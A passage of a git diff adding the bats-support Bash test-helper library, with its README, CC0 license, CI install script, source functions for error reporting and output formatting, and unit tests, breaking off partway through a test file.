--- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/.travis.yml @@ -0,0 +1,7 @@ +language: bash +before_install: + - ./script/install-bats.sh +before_script: + - export PATH="${HOME}/.local/bin:${PATH}" +script: + - bats test diff --git a/node_modules/git-open/test/test_helper/bats-support/CHANGELOG.md b/node_modules/git-open/test/test_helper/bats-support/CHANGELOG.md new file mode 100644 index 0000000..324d247 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/CHANGELOG.md @@ -0,0 +1,46 @@ +# Change Log + +All notable changes to this project will be documented in this file. +This project adheres to [Semantic Versioning](http://semver.org/). + + +## [0.3.0] - 2016-11-29 + +### Added + +- Restricting invocation to specific locations with + `batslib_is_caller()` + + +## [0.2.0] - 2016-03-22 + +### Added + +- `npm` support +- Reporting arbitrary failures with `fail()` (moved from `bats-assert`) + +### Changed + +- Library renamed to `bats-support` + + +## 0.1.0 - 2016-02-16 + +### Added + +- Two-column key-value formatting with `batslib_print_kv_single()` +- Multi-line key-value formatting with `batslib_print_kv_multi()` +- Mixed formatting with `batslib_print_kv_single_or_multi()` +- Header and footer decoration with `batslib_decorate()` +- Prefixing lines with `batslib_prefix()` +- Marking lines with `batslib_mark()` +- Common output function `batslib_err()` +- Line counting with `batslib_count_lines()` +- Checking whether a text is one line long with + `batslib_is_single_line()` +- Determining key width for two-column and mixed formatting with + `batslib_get_max_single_line_key_width()` + + +[0.3.0]: https://github.com/ztombol/bats-support/compare/v0.2.0...v0.3.0 +[0.2.0]: https://github.com/ztombol/bats-support/compare/v0.1.0...v0.2.0 diff --git a/node_modules/git-open/test/test_helper/bats-support/LICENSE b/node_modules/git-open/test/test_helper/bats-support/LICENSE new file mode 100644 index 0000000..670154e --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/LICENSE @@ -0,0 +1,116 @@ +CC0 1.0 Universal + +Statement of Purpose + +The laws of most jurisdictions throughout the world automatically confer +exclusive Copyright and Related Rights (defined below) upon the creator and +subsequent owner(s) (each and all, an "owner") of an original work of +authorship and/or a database (each, a "Work"). + +Certain owners wish to permanently relinquish those rights to a Work for the +purpose of contributing to a commons of creative, cultural and scientific +works ("Commons") that the public can reliably and without fear of later +claims of infringement build upon, modify, incorporate in other works, reuse +and redistribute as freely as possible in any form whatsoever and for any +purposes, including without limitation commercial purposes. These owners may +contribute to the Commons to promote the ideal of a free culture and the +further production of creative, cultural and scientific works, or to gain +reputation or greater distribution for their Work in part through the use and +efforts of others. + +For these and/or other purposes and motivations, and without any expectation +of additional consideration or compensation, the person associating CC0 with a +Work (the "Affirmer"), to the extent that he or she is an owner of Copyright +and Related Rights in the Work, voluntarily elects to apply CC0 to the Work +and publicly distribute the Work under its terms, with knowledge of his or her +Copyright and Related Rights in the Work and the meaning and intended legal +effect of CC0 on those rights. + +1. Copyright and Related Rights. A Work made available under CC0 may be +protected by copyright and related or neighboring rights ("Copyright and +Related Rights"). Copyright and Related Rights include, but are not limited +to, the following: + + i. the right to reproduce, adapt, distribute, perform, display, communicate, + and translate a Work; + + ii. moral rights retained by the original author(s) and/or performer(s); + + iii. publicity and privacy rights pertaining to a person's image or likeness + depicted in a Work; + + iv. rights protecting against unfair competition in regards to a Work, + subject to the limitations in paragraph 4(a), below; + + v. rights protecting the extraction, dissemination, use and reuse of data in + a Work; + + vi. database rights (such as those arising under Directive 96/9/EC of the + European Parliament and of the Council of 11 March 1996 on the legal + protection of databases, and under any national implementation thereof, + including any amended or successor version of such directive); and + + vii. other similar, equivalent or corresponding rights throughout the world + based on applicable law or treaty, and any national implementations thereof. + +2. Waiver. To the greatest extent permitted by, but not in contravention of, +applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and +unconditionally waives, abandons, and surrenders all of Affirmer's Copyright +and Related Rights and associated claims and causes of action, whether now +known or unknown (including existing as well as future claims and causes of +action), in the Work (i) in all territories worldwide, (ii) for the maximum +duration provided by applicable law or treaty (including future time +extensions), (iii) in any current or future medium and for any number of +copies, and (iv) for any purpose whatsoever, including without limitation +commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes +the Waiver for the benefit of each member of the public at large and to the +detriment of Affirmer's heirs and successors, fully intending that such Waiver +shall not be subject to revocation, rescission, cancellation, termination, or +any other legal or equitable action to disrupt the quiet enjoyment of the Work +by the public as contemplated by Affirmer's express Statement of Purpose. + +3. Public License Fallback. Should any part of the Waiver for any reason be +judged legally invalid or ineffective under applicable law, then the Waiver +shall be preserved to the maximum extent permitted taking into account +Affirmer's express Statement of Purpose. In addition, to the extent the Waiver +is so judged Affirmer hereby grants to each affected person a royalty-free, +non transferable, non sublicensable, non exclusive, irrevocable and +unconditional license to exercise Affirmer's Copyright and Related Rights in +the Work (i) in all territories worldwide, (ii) for the maximum duration +provided by applicable law or treaty (including future time extensions), (iii) +in any current or future medium and for any number of copies, and (iv) for any +purpose whatsoever, including without limitation commercial, advertising or +promotional purposes (the "License"). The License shall be deemed effective as +of the date CC0 was applied by Affirmer to the Work. Should any part of the +License for any reason be judged legally invalid or ineffective under +applicable law, such partial invalidity or ineffectiveness shall not +invalidate the remainder of the License, and in such case Affirmer hereby +affirms that he or she will not (i) exercise any of his or her remaining +Copyright and Related Rights in the Work or (ii) assert any associated claims +and causes of action with respect to the Work, in either case contrary to +Affirmer's express Statement of Purpose. + +4. Limitations and Disclaimers. + + a. No trademark or patent rights held by Affirmer are waived, abandoned, + surrendered, licensed or otherwise affected by this document. + + b. Affirmer offers the Work as-is and makes no representations or warranties + of any kind concerning the Work, express, implied, statutory or otherwise, + including without limitation warranties of title, merchantability, fitness + for a particular purpose, non infringement, or the absence of latent or + other defects, accuracy, or the present or absence of errors, whether or not + discoverable, all to the greatest extent permissible under applicable law. + + c. Affirmer disclaims responsibility for clearing rights of other persons + that may apply to the Work or any use thereof, including without limitation + any person's Copyright and Related Rights in the Work. Further, Affirmer + disclaims responsibility for obtaining any necessary consents, permissions + or other rights required for any use of the Work. + + d. Affirmer understands and acknowledges that Creative Commons is not a + party to this document and has no duty or obligation with respect to this + CC0 or use of the Work. + +For more information, please see + diff --git a/node_modules/git-open/test/test_helper/bats-support/README.md b/node_modules/git-open/test/test_helper/bats-support/README.md new file mode 100644 index 0000000..71c02ba --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/README.md @@ -0,0 +1,189 @@ +*__Important:__ `bats-core` has been renamed to `bats-support`. GitHub +automatically redirects all references, e.g. submodules and clones will +continue to work, but you are encouraged to [update][github-rename] +them. Version numbering continues where `bats-core` left off.* + +[github-rename]: https://help.github.com/articles/renaming-a-repository/ + +- - - - - + +# bats-support + +[![GitHub license](https://img.shields.io/badge/license-CC0-blue.svg)](https://raw.githubusercontent.com/ztombol/bats-support/master/LICENSE) +[![GitHub release](https://img.shields.io/github/release/ztombol/bats-support.svg)](https://github.com/ztombol/bats-support/releases/latest) +[![Build Status](https://travis-ci.org/ztombol/bats-support.svg?branch=master)](https://travis-ci.org/ztombol/bats-support) + +`bats-support` is a supporting library providing common functions to +test helper libraries written for [Bats][bats]. + +Features: +- [error reporting](#error-reporting) +- [output formatting](#output-formatting) +- [language tools](#language-and-execution) + +See the [shared documentation][bats-docs] to learn how to install and +load this library. + +If you want to use this library in your own helpers or just want to +learn about its internals see the developer documentation in the [source +files](src). + + +## Error reporting + +### `fail` + +Display an error message and fail. This function provides a convenient +way to report failure in arbitrary situations. You can use it to +implement your own helpers when the ones available do not meet your +needs. Other functions use it internally as well. + +```bash +@test 'fail()' { + fail 'this test always fails' +} +``` + +The message can also be specified on the standard input. + +```bash +@test 'fail() with pipe' { + echo 'this test always fails' | fail +} +``` + +This function always fails and simply outputs the given message. + +``` +this test always fails +``` + + +## Output formatting + +Many test helpers need to produce human readable output. This library +provides a simple way to format simple messages and key value pairs, and +display them on the standard error. + + +### Simple message + +Simple messages without structure, e.g. one-line error messages, are +simply wrapped in a header and a footer to help them stand out. + +``` +-- ERROR: assert_output -- +`--partial' and `--regexp' are mutually exclusive +-- +``` + + +### Key-Value pairs + +Some helpers, e.g. [assertions][bats-assert], structure output as +key-value pairs. This library provides two ways to format them. + +When the value is one line long, a pair can be displayed in a columnar +fashion called ***two-column*** format. + +``` +-- output differs -- +expected : want +actual : have +-- +``` + +When the value is longer than one line, the key and value must be +displayed on separate lines. First, the key is displayed along with the +number of lines in the value. Then, the value, indented by two spaces +for added readability, starting on the next line. This is called +***multi-line*** format. + +``` +-- command failed -- +status : 1 +output (2 lines): + Error! Something went terribly wrong! + Our engineers are panicing... \`>`;/ +-- +``` + +Sometimes, for clarity, it is a good idea to display related values also +in this format, even if they are just one line long. + +``` +-- output differs -- +expected (1 lines): + want +actual (3 lines): + have 1 + have 2 + have 3 +-- +``` + +## Language and Execution + +### Restricting invocation to specific locations + +Sometimes a helper may work properly only when called from a certain +location. Because it depends on variables to be set or some other side +effect. + +A good example is cleaning up temporary files only if the test has +succeeded. The outcome of a test is only available in `teardown`. Thus, +to avoid programming mistakes, it makes sense to restrict such a +clean-up helper to that function. + +`batslib_is_caller` checks the call stack and returns `0` if the caller +was invoked from a given function, and `1` otherwise. This function +becomes really useful with the `--indirect` option, which allows calls +through intermediate functions, e.g. the calling function may be called +from a function that was called from the given function. + +Staying with the example above, the following code snippet implements a +helper that is restricted to `teardown` or any function called +indirectly from it. + +```shell +clean_up() { + # Check caller. + if batslib_is_caller --indirect 'teardown'; then + echo "Must be called from \`teardown'" \ + | batslib_decorate 'ERROR: clean_up' \ + | fail + return $? + fi + + # Body goes here... +} +``` + +In some cases a helper may be called from multiple locations. For +example, a logging function that uses the test name, description or +number, information only available in `setup`, `@test` or `teardown`, to +distinguish entries. The following snippet implements this restriction. + +```shell +log_test() { + # Check caller. + if ! ( batslib_is_caller --indirect 'setup' \ + || batslib_is_caller --indirect "$BATS_TEST_NAME" \ + || batslib_is_caller --indirect 'teardown' ) + then + echo "Must be called from \`setup', \`@test' or \`teardown'" \ + | batslib_decorate 'ERROR: log_test' \ + | fail + return $? + fi + + # Body goes here... +} +``` + + + + +[bats]: https://github.com/sstephenson/bats +[bats-docs]: https://github.com/ztombol/bats-docs +[bats-assert]: https://github.com/ztombol/bats-assert diff --git a/node_modules/git-open/test/test_helper/bats-support/load.bash b/node_modules/git-open/test/test_helper/bats-support/load.bash new file mode 100644 index 0000000..0727aeb --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/load.bash @@ -0,0 +1,3 @@ +source "$(dirname "${BASH_SOURCE[0]}")/src/output.bash" +source "$(dirname "${BASH_SOURCE[0]}")/src/error.bash" +source "$(dirname "${BASH_SOURCE[0]}")/src/lang.bash" diff --git a/node_modules/git-open/test/test_helper/bats-support/package.json b/node_modules/git-open/test/test_helper/bats-support/package.json new file mode 100644 index 0000000..192d16a --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/package.json @@ -0,0 +1,5 @@ +{ + "name": "bats-support", + "version": "0.3.0", + "private": true +} diff --git a/node_modules/git-open/test/test_helper/bats-support/script/install-bats.sh b/node_modules/git-open/test/test_helper/bats-support/script/install-bats.sh new file mode 100644 index 0000000..4c3161a --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/script/install-bats.sh @@ -0,0 +1,6 @@ +#!/bin/sh +set -o errexit +set -o xtrace + +git clone --depth 1 https://github.com/sstephenson/bats +cd bats && ./install.sh "${HOME}/.local" && cd .. && rm -rf bats diff --git a/node_modules/git-open/test/test_helper/bats-support/src/error.bash b/node_modules/git-open/test/test_helper/bats-support/src/error.bash new file mode 100644 index 0000000..e5d9791 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/src/error.bash @@ -0,0 +1,41 @@ +# +# bats-support - Supporting library for Bats test helpers +# +# Written in 2016 by Zoltan Tombol +# +# To the extent possible under law, the author(s) have dedicated all +# copyright and related and neighboring rights to this software to the +# public domain worldwide. This software is distributed without any +# warranty. +# +# You should have received a copy of the CC0 Public Domain Dedication +# along with this software. If not, see +# . +# + +# +# error.bash +# ---------- +# +# Functions implementing error reporting. Used by public helper +# functions or test suits directly. +# + +# Fail and display a message. When no parameters are specified, the +# message is read from the standard input. Other functions use this to +# report failure. +# +# Globals: +# none +# Arguments: +# $@ - [=STDIN] message +# Returns: +# 1 - always +# Inputs: +# STDIN - [=$@] message +# Outputs: +# STDERR - message +fail() { + (( $# == 0 )) && batslib_err || batslib_err "$@" + return 1 +} diff --git a/node_modules/git-open/test/test_helper/bats-support/src/lang.bash b/node_modules/git-open/test/test_helper/bats-support/src/lang.bash new file mode 100644 index 0000000..c57e299 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/src/lang.bash @@ -0,0 +1,73 @@ +# +# bats-util - Various auxiliary functions for Bats +# +# Written in 2016 by Zoltan Tombol +# +# To the extent possible under law, the author(s) have dedicated all +# copyright and related and neighboring rights to this software to the +# public domain worldwide. This software is distributed without any +# warranty. +# +# You should have received a copy of the CC0 Public Domain Dedication +# along with this software. If not, see +# . +# + +# +# lang.bash +# --------- +# +# Bash language and execution related functions. Used by public helper +# functions. +# + +# Check whether the calling function was called from a given function. +# +# By default, direct invocation is checked. The function succeeds if the +# calling function was called directly from the given function. In other +# words, if the given function is the next element on the call stack. +# +# When `--indirect' is specified, indirect invocation is checked. The +# function succeeds if the calling function was called from the given +# function with any number of intermediate calls. In other words, if the +# given function can be found somewhere on the call stack. +# +# Direct invocation is a form of indirect invocation with zero +# intermediate calls. +# +# Globals: +# FUNCNAME +# Options: +# -i, --indirect - check indirect invocation +# Arguments: +# $1 - calling function's name +# Returns: +# 0 - current function was called from the given function +# 1 - otherwise +batslib_is_caller() { + local -i is_mode_direct=1 + + # Handle options. + while (( $# > 0 )); do + case "$1" in + -i|--indirect) is_mode_direct=0; shift ;; + --) shift; break ;; + *) break ;; + esac + done + + # Arguments. + local -r func="$1" + + # Check call stack. + if (( is_mode_direct )); then + [[ $func == "${FUNCNAME[2]}" ]] && return 0 + else + local -i depth + for (( depth=2; depth<${#FUNCNAME[@]}; ++depth )); do + [[ $func == "${FUNCNAME[$depth]}" ]] && return 0 + done + fi + + return 1 +} diff --git a/node_modules/git-open/test/test_helper/bats-support/src/output.bash b/node_modules/git-open/test/test_helper/bats-support/src/output.bash new file mode 100644 index 0000000..c6cf6a6 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/src/output.bash @@ -0,0 +1,279 @@ +# +# bats-support - Supporting library for Bats test helpers +# +# Written in 2016 by Zoltan Tombol +# +# To the extent possible under law, the author(s) have dedicated all +# copyright and related and neighboring rights to this software to the +# public domain worldwide. This software is distributed without any +# warranty. +# +# You should have received a copy of the CC0 Public Domain Dedication +# along with this software. If not, see +# . +# + +# +# output.bash +# ----------- +# +# Private functions implementing output formatting. Used by public +# helper functions. +# + +# Print a message to the standard error. When no parameters are +# specified, the message is read from the standard input. +# +# Globals: +# none +# Arguments: +# $@ - [=STDIN] message +# Returns: +# none +# Inputs: +# STDIN - [=$@] message +# Outputs: +# STDERR - message +batslib_err() { + { if (( $# > 0 )); then + echo "$@" + else + cat - + fi + } >&2 +} + +# Count the number of lines in the given string. +# +# TODO(ztombol): Fix tests and remove this note after #93 is resolved! +# NOTE: Due to a bug in Bats, `batslib_count_lines "$output"' does not +# give the same result as `${#lines[@]}' when the output contains +# empty lines. +# See PR #93 (https://github.com/sstephenson/bats/pull/93). +# +# Globals: +# none +# Arguments: +# $1 - string +# Returns: +# none +# Outputs: +# STDOUT - number of lines +batslib_count_lines() { + local -i n_lines=0 + local line + while IFS='' read -r line || [[ -n $line ]]; do + (( ++n_lines )) + done < <(printf '%s' "$1") + echo "$n_lines" +} + +# Determine whether all strings are single-line. +# +# Globals: +# none +# Arguments: +# $@ - strings +# Returns: +# 0 - all strings are single-line +# 1 - otherwise +batslib_is_single_line() { + for string in "$@"; do + (( $(batslib_count_lines "$string") > 1 )) && return 1 + done + return 0 +} + +# Determine the length of the longest key that has a single-line value. +# +# This function is useful in determining the correct width of the key +# column in two-column format when some keys may have multi-line values +# and thus should be excluded. +# +# Globals: +# none +# Arguments: +# $odd - key +# $even - value of the previous key +# Returns: +# none +# Outputs: +# STDOUT - length of longest key +batslib_get_max_single_line_key_width() { + local -i max_len=-1 + while (( $# != 0 )); do + local -i key_len="${#1}" + batslib_is_single_line "$2" && (( key_len > max_len )) && max_len="$key_len" + shift 2 + done + echo "$max_len" +} + +# Print key-value pairs in two-column format. +# +# Keys are displayed in the first column, and their corresponding values +# in the second. To evenly line up values, the key column is fixed-width +# and its width is specified with the first parameter (possibly computed +# using `batslib_get_max_single_line_key_width'). +# +# Globals: +# none +# Arguments: +# $1 - width of key column +# $even - key +# $odd - value of the previous key +# Returns: +# none +# Outputs: +# STDOUT - formatted key-value pairs +batslib_print_kv_single() { + local -ir col_width="$1"; shift + while (( $# != 0 )); do + printf '%-*s : %s\n' "$col_width" "$1" "$2" + shift 2 + done +} + +# Print key-value pairs in multi-line format. +# +# The key is displayed first with the number of lines of its +# corresponding value in parenthesis. Next, starting on the next line, +# the value is displayed. For better readability, it is recommended to +# indent values using `batslib_prefix'. +# +# Globals: +# none +# Arguments: +# $odd - key +# $even - value of the previous key +# Returns: +# none +# Outputs: +# STDOUT - formatted key-value pairs +batslib_print_kv_multi() { + while (( $# != 0 )); do + printf '%s (%d lines):\n' "$1" "$( batslib_count_lines "$2" )" + printf '%s\n' "$2" + shift 2 + done +} + +# Print all key-value pairs in either two-column or multi-line format +# depending on whether all values are single-line. +# +# If all values are single-line, print all pairs in two-column format +# with the specified key column width (identical to using +# `batslib_print_kv_single'). +# +# Otherwise, print all pairs in multi-line format after indenting values +# with two spaces for readability (identical to using `batslib_prefix' +# and `batslib_print_kv_multi') +# +# Globals: +# none +# Arguments: +# $1 - width of key column (for two-column format) +# $even - key +# $odd - value of the previous key +# Returns: +# none +# Outputs: +# STDOUT - formatted key-value pairs +batslib_print_kv_single_or_multi() { + local -ir width="$1"; shift + local -a pairs=( "$@" ) + + local -a values=() + local -i i + for (( i=1; i < ${#pairs[@]}; i+=2 )); do + values+=( "${pairs[$i]}" ) + done + + if batslib_is_single_line "${values[@]}"; then + batslib_print_kv_single "$width" "${pairs[@]}" + else + local -i i + for (( i=1; i < ${#pairs[@]}; i+=2 )); do + pairs[$i]="$( batslib_prefix < <(printf '%s' "${pairs[$i]}") )" + done + batslib_print_kv_multi "${pairs[@]}" + fi +} + +# Prefix each line read from the standard input with the given string. +# +# Globals: +# none +# Arguments: +# $1 - [= ] prefix string +# Returns: +# none +# Inputs: +# STDIN - lines +# Outputs: +# STDOUT - prefixed lines +batslib_prefix() { + local -r prefix="${1:- }" + local line + while IFS='' read -r line || [[ -n $line ]]; do + printf '%s%s\n' "$prefix" "$line" + done +} + +# Mark select lines of the text read from the standard input by +# overwriting their beginning with the given string. +# +# Usually the input is indented by a few spaces using `batslib_prefix' +# first. +# +# Globals: +# none +# Arguments: +# $1 - marking string +# $@ - indices (zero-based) of lines to mark +# Returns: +# none +# Inputs: +# STDIN - lines +# Outputs: +# STDOUT - lines after marking +batslib_mark() { + local -r symbol="$1"; shift + # Sort line numbers. + set -- $( sort -nu <<< "$( printf '%d\n' "$@" )" ) + + local line + local -i idx=0 + while IFS='' read -r line || [[ -n $line ]]; do + if (( ${1:--1} == idx )); then + printf '%s\n' "${symbol}${line:${#symbol}}" + shift + else + printf '%s\n' "$line" + fi + (( ++idx )) + done +} + +# Enclose the input text in header and footer lines. +# +# The header contains the given string as title. The output is preceded +# and followed by an additional newline to make it stand out more. +# +# Globals: +# none +# Arguments: +# $1 - title +# Returns: +# none +# Inputs: +# STDIN - text +# Outputs: +# STDOUT - decorated text +batslib_decorate() { + echo + echo "-- $1 --" + cat - + echo '--' + echo +} diff --git a/node_modules/git-open/test/test_helper/bats-support/test/50-output-10-batslib_err.bats b/node_modules/git-open/test/test_helper/bats-support/test/50-output-10-batslib_err.bats new file mode 100644 index 0000000..8c27fd1 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/test/50-output-10-batslib_err.bats @@ -0,0 +1,16 @@ +#!/usr/bin/env bats + +load test_helper + +@test 'batslib_err() : displays ' { + run batslib_err 'm1' 'm2' + [ "$status" -eq 0 ] + [ "$output" == 'm1 m2' ] +} + +@test 'batslib_err(): reads from STDIN' { + run bash -c "source '${TEST_MAIN_DIR}/load.bash' + echo 'm1' 'm2' | batslib_err" + [ "$status" -eq 0 ] + [ "$output" == 'm1 m2' ] +} diff --git a/node_modules/git-open/test/test_helper/bats-support/test/50-output-11-batslib_count_lines.bats b/node_modules/git-open/test/test_helper/bats-support/test/50-output-11-batslib_count_lines.bats new file mode 100644 index 0000000..ea172c3 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/test/50-output-11-batslib_count_lines.bats @@ -0,0 +1,21 @@ +#!/usr/bin/env bats + +load test_helper + +@test 'batslib_count_lines() : displays the number of lines in ' { + run batslib_count_lines $'a\nb\nc\n' + [ "$status" -eq 0 ] + [ "$output" == '3' ] +} + +@test 'batslib_count_lines() : counts the last line when it is not terminated by a newline' { + run batslib_count_lines $'a\nb\nc' + [ "$status" -eq 0 ] + [ "$output" == '3' ] +} + +@test 'batslib_count_lines() : counts empty lines' { + run batslib_count_lines $'\n\n\n' + [ "$status" -eq 0 ] + [ "$output" == '3' ] +} diff --git a/node_modules/git-open/test/test_helper/bats-support/test/50-output-12-batslib_is_single_line.bats b/node_modules/git-open/test/test_helper/bats-support/test/50-output-12-batslib_is_single_line.bats new file mode 100644 index 0000000..484b64d --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/test/50-output-12-batslib_is_single_line.bats @@ -0,0 +1,13 @@ +#!/usr/bin/env bats + +load test_helper + +@test 'batslib_is_single_line() : returns 0 if all are single-line' { + run batslib_is_single_line 'a' $'b\n' 'c' + [ "$status" -eq 0 ] +} + +@test 'batslib_is_single_line() : returns 1 if at least one of is longer than one line' { + run batslib_is_single_line 'a' $'b\nb' 'c' + [ "$status" -eq 1 ] +} diff --git a/node_modules/git-open/test/test_helper/bats-support/test/50-output-13-batslib_get_max_single_line_key_width.bats b/node_modules/git-open/test/test_helper/bats-support/test/50-output-13-batslib_get_max_single_line_key_width.bats new file mode 100644 index 0000000..e6af161 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/test/50-output-13-batslib_get_max_single_line_key_width.bats @@ -0,0 +1,21 @@ +#!/usr/bin/env bats + +load test_helper + +@test 'batslib_get_max_single_line_key_width() : displays the length of the longest key' { + local -ar pairs=( 'k _1' 'v 1' + 'k 2' 'v 2' + 'k __3' 'v 3' ) + run batslib_get_max_single_line_key_width "${pairs[@]}" + [ "$status" -eq 0 ] + [ "$output" == '5' ] +} + +@test 'batslib_get_max_single_line_key_width() : only considers keys with single-line values' { + local -ar pairs=( 'k _1' 'v 1' + 'k 2' 'v 2' + 'k __3' $'v\n3' ) + run batslib_get_max_single_line_key_width "${pairs[@]}" + [ "$status" -eq 0 ] + [ "$output" == '4' ] +} diff --git a/node_modules/git-open/test/test_helper/bats-support/test/50-output-14-batslib_print_kv_single.bats b/node_modules/git-open/test/test_helper/bats-support/test/50-output-14-batslib_print_kv_single.bats new file mode 100644 index 0000000..7637897 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/test/50-output-14-batslib_print_kv_single.bats @@ -0,0 +1,27 @@ +#!/usr/bin/env bats + +load test_helper + +@test 'batslib_print_kv_single() : displays in two-column format with wide key column' { + local -ar pairs=( 'k _1' 'v 1' + 'k 2 ' 'v 2' + 'k __3' 'v 3' ) + run batslib_print_kv_single 5 "${pairs[@]}" + [ "$status" -eq 0 ] + [ "${#lines[@]}" == '3' ] + [ "${lines[0]}" == 'k _1 : v 1' ] + [ "${lines[1]}" == 'k 2 : v 2' ] + [ "${lines[2]}" == 'k __3 : v 3' ] +} + +@test 'batslib_print_kv_single() : does not truncate keys when the column is too narrow' { + local -ar pairs=( 'k _1' 'v 1' + 'k 2' 'v 2' + 'k __3' 'v 3' ) + run batslib_print_kv_single 0 "${pairs[@]}" + [ "$status" -eq 0 ] + [ "${#lines[@]}" == '3' ] + [ "${lines[0]}" == 'k _1 : v 1' ] + [ "${lines[1]}" == 'k 2 : v 2' ] + [ "${lines[2]}" == 'k __3 : v 3' ] +} diff --git a/node_modules/git-open/test/test_helper/bats-support/test/50-output-15-batslib_print_kv_multi.bats b/node_modules/git-open/test/test_helper/bats-support/test/50-output-15-batslib_print_kv_multi.bats new file mode 100644 index 0000000..6ad4b3d --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/test/50-output-15-batslib_print_kv_multi.bats @@ -0,0 +1,19 @@ +#!/usr/bin/env bats + +load test_helper + +@test 'batslib_print_kv_multi() : displays in multi-line format' { + local -ar pairs=( 'k _1' 'v 1' + 'k 2' $'v 2-1\nv 2-2' + 'k __3' 'v 3' ) + run batslib_print_kv_multi "${pairs[@]}" + [ "$status" -eq 0 ] + [ "${#lines[@]}" == '7' ] + [ "${lines[0]}" == 'k _1 (1 lines):' ] + [ "${lines[1]}" == 'v 1' ] + [ "${lines[2]}" == 'k 2 (2 lines):' ] + [ "${lines[3]}" == 'v 2-1' ] + [ "${lines[4]}" == 'v 2-2' ] + [ "${lines[5]}" == 'k __3 (1 lines):' ] + [ "${lines[6]}" == 'v 3' ] +} diff --git a/node_modules/git-open/test/test_helper/bats-support/test/50-output-16-batslib_print_kv_single_or_multi.bats b/node_modules/git-open/test/test_helper/bats-support/test/50-output-16-batslib_print_kv_single_or_multi.bats new file mode 100644 index 0000000..c20d101 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/test/50-output-16-batslib_print_kv_single_or_multi.bats @@ -0,0 +1,31 @@ +#!/usr/bin/env bats + +load test_helper + +@test 'batslib_print_kv_single_or_multi() : displays in two-column format if all values are one line long' { + local -ar pairs=( 'k _1' 'v 1' + 'k 2 ' 'v 2' + 'k __3' 'v 3' ) + run batslib_print_kv_single_or_multi 5 "${pairs[@]}" + [ "$status" -eq 0 ] + [ "${#lines[@]}" == '3' ] + [ "${lines[0]}" == 'k _1 : v 1' ] + [ "${lines[1]}" == 'k 2 : v 2' ] + [ "${lines[2]}" == 'k __3 : v 3' ] +} + +@test 'batslib_print_kv_single_or_multi() : displays in multi-line format if at least one value is longer than one line' { + local -ar pairs=( 'k _1' 'v 1' + 'k 2' $'v 2-1\nv 2-2' + 'k __3' 'v 3' ) + run batslib_print_kv_single_or_multi 5 "${pairs[@]}" + [ "$status" -eq 0 ] + [ "${#lines[@]}" == '7' ] + [ "${lines[0]}" == 'k _1 (1 lines):' ] + [ "${lines[1]}" == ' v 1' ] + [ "${lines[2]}" == 'k 2 (2 lines):' ] + [ "${lines[3]}" == ' v 2-1' ] + [ "${lines[4]}" == ' v 2-2' ] + [ "${lines[5]}" == 'k __3 (1 lines):' ] + [ "${lines[6]}" == ' v 3' ] +} diff --git a/node_modules/git-open/test/test_helper/bats-support/test/50-output-17-batslib_prefix.bats b/node_modules/git-open/test/test_helper/bats-support/test/50-output-17-batslib_prefix.bats new file mode 100644 index 0000000..817fd33 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/test/50-output-17-batslib_prefix.bats @@ -0,0 +1,43 @@ +#!/usr/bin/env bats + +load test_helper + +@test 'batslib_prefix() : prefixes each line of the input with ' { + run bash -c "source '${TEST_MAIN_DIR}/load.bash' + printf 'a\nb\nc\n' | batslib_prefix '_'" + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '_a' ] + [ "${lines[1]}" == '_b' ] + [ "${lines[2]}" == '_c' ] +} + +@test 'batslib_prefix() : prefixes the last line when it is not terminated by a newline' { + run bash -c "source '${TEST_MAIN_DIR}/load.bash' + printf 'a\nb\nc' | batslib_prefix '_'" + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '_a' ] + [ "${lines[1]}" == '_b' ] + [ "${lines[2]}" == '_c' ] +} + +@test 'batslib_prefix() : prefixes empty lines' { + run bash -c "source '${TEST_MAIN_DIR}/load.bash' + printf '\n\n\n' | batslib_prefix '_'" + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '_' ] + [ "${lines[1]}" == '_' ] + [ "${lines[2]}" == '_' ] +} + +@test 'batslib_prefix(): default to two spaces' { + run bash -c "source '${TEST_MAIN_DIR}/load.bash' + printf 'a\nb\nc\n' | batslib_prefix" + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == ' a' ] + [ "${lines[1]}" == ' b' ] + [ "${lines[2]}" == ' c' ] +} diff --git a/node_modules/git-open/test/test_helper/bats-support/test/50-output-18-batslib_mark.bats b/node_modules/git-open/test/test_helper/bats-support/test/50-output-18-batslib_mark.bats new file mode 100644 index 0000000..c5d0975 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/test/50-output-18-batslib_mark.bats @@ -0,0 +1,72 @@ +#!/usr/bin/env bats + +load test_helper + +@test 'batslib_mark() : marks the -th line of the input with ' { + run bash -c "source '${TEST_MAIN_DIR}/load.bash' + printf ' a\n b\n c\n' | batslib_mark '>' 0" + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '>a' ] + [ "${lines[1]}" == ' b' ] + [ "${lines[2]}" == ' c' ] +} + +@test 'batslib_mark() : marks multiple lines when is in ascending order' { + run bash -c "source '${TEST_MAIN_DIR}/load.bash' + printf ' a\n b\n c\n' | batslib_mark '>' 1 2" + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == ' a' ] + [ "${lines[1]}" == '>b' ] + [ "${lines[2]}" == '>c' ] +} + +@test 